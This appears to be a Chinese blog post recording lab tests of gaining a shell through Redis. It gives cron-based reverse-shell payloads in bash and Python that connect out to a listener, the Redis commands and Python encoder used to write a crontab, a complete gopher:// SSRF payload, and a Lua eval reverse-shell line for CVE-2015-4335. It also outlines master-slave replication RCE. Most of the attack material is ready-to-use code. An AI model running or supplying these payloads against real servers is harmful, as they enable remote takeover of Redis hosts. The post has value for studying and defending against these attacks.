在两个系统下直接crontab -e编辑定时任务:

*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
在ubuntu下不会反弹成功,CentOS可以反弹成功。

Python反弹:

*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

ubuntu和Linux均反弹成功。

/etc/crontab
使用上面两个payload,注意这里定时任务需要加user

*/1 * * * * root bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
在ubuntu下,bash反弹失败,python反弹成功。
在CentOS下,两个均成功。

/var/spool/cron/root
同样使用上面两个payload反弹shell:

在Ubuntu下,两个均失败。
在CentOS下,两个均成功。

/var/spool/cron/crontabs/root
(Centos默认没有这个路径),所以这个是ubuntu测试:

bash反弹失败
python反弹成功

综合以上来说:
Centos的定式任务在/var/spool/cron/root
Ubuntu定时任务/var/spool/cron/crontabs/root
https://joychou.org/web/hackredis-enhanced-edition-script.html相当于恬不知耻的复制了大佬的文章。

另外测试redis里面写shell,由于使用redis写crontab的时候,创建的文件权限是644,ubuntu无法执行,

写入/etc/crontab的时候,由于存在乱码,所以会导致ubuntu不能正确识别,导致定时任务失败。

如果写/etc/crontab,由于存在乱码,语法不识别,会导致ubuntu不能正确识别,导致定时任务失败。
如果写/var/spool/cron/crontabs/root,权限是644,ubuntu不能运行。
所以ubuntu下使用redis写crontab是无法成功反弹shell的。

如果只能写文件,想写crontab反弹shell,对于CentOS系来说:

写/etc/crontab文件
使用python反弹shell脚本
redis写定时任务
下面这个是从https://joychou.org/web/phpssrf.html这里搬来的代码,出来的结果,同样需要对其中的$编码:

#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open('/Users/xxx/Desktop/1.txt') as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp.replace('$', '%24')

攻击的时候时候,使用的是这样的exp:

config set dir /var/spool/cron
config set dbfilename root
set www "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"
save

经过编码之后,得到的exp:

gopher://127.0.0.1:6379/_*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2415%0d%0a/var/spool/cron%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0awww%0d%0a%2455%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0d%0a*1%0d%0a%244%0d%0asave%0d%0a

如果存在ssrf,可以攻击redis,上面exp的再经过http编码即可攻击成功。

主从复制rce

原理

  • 原理文档
  • 我们模拟了一台master,使得靶机成为了我们的slave,从而在主从关系建立的时候可以通过FULLRESYNC同步文件到slave上。然后在slave上加载so文件,我们就可以执行拓展的新命令了。

利用

基于python2,能够在有密码的情况下使用,能够读取任何文件,并且会在dir下生成exp.so

基于python3,无法用在有密码的情况下,能够读取大部分文件(部分乱码文件除外),不会在dir下生成exp.so


* PS:反弹的shell无法进行cd此类操作,读文件和列目录请使用相对路径或绝对路径

Lua RCE

CVE-2015-4335

Redis before 2.8.21 and 3.x before 3.0.2
远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码

在Redis中构建Lua虚拟机的稳定攻击路径

https://github.com/QAX-A-Team/redis_lua_exploit/

修改redis_lua.py里的 host 为目标 IP。

执行后得到这个提示说明可以执行命令了,通过redis-cli连接到目标 redis ,执行eval “tonumber(‘id’, 8)” 0这段 lua,目标服务器就会执行id命令。

也可以直接反弹 shell。

eval “tonumber(‘/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1’, 8)” 0

缓冲区溢出 RCE

Redis 3.2.x-3.2.4
Redis CVE-2016-8339 分析

补充

细数 redis 的几种 getshell 方法

cd /etc && wget http://download.redis.io/releases/redis-5.0.8.tar.gz && tar -zxvf redis-5.0.8.tar.gz && rm redis-5.0.8.tar.gz && cd redis-5.0.8 && make && make install 

sudo sed -i 's/# requirepass foobared/requirepass welcometowangdingbeissrfme6379/g' /etc/redis-5.0.8/redis.conf

sudo sed -i 's/requirepass foobared/# requirepass foobared/g' /etc/redis/redis.conf

sudo sed -i 's/requirepass welcometowangdingbeissrfme6379/# requirepass foobared/g' /etc/redis/redis.conf



sed -i 's/daemonize no/daemonize yes/g' /etc/redis-5.0.8/redis.conf


groupadd -r redis && useradd -r -g redis redis


useradd -m redis
su -m redis -c "redis-server /etc/redis-5.0.8/redis.conf"


cp /etc/redis-5.0.8/utils/redis_init_script /etc/init.d/redis

sed -i 's/CONF=\"\/etc\/redis\/\${REDISPORT}.conf\"/CONF=\"\/etc\/redis-5.0.8\/redis.conf\"/g'  /etc/init.d/redis



chmod +x /etc/init.d/redis
chkconfig redis on



分类: 未分类

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注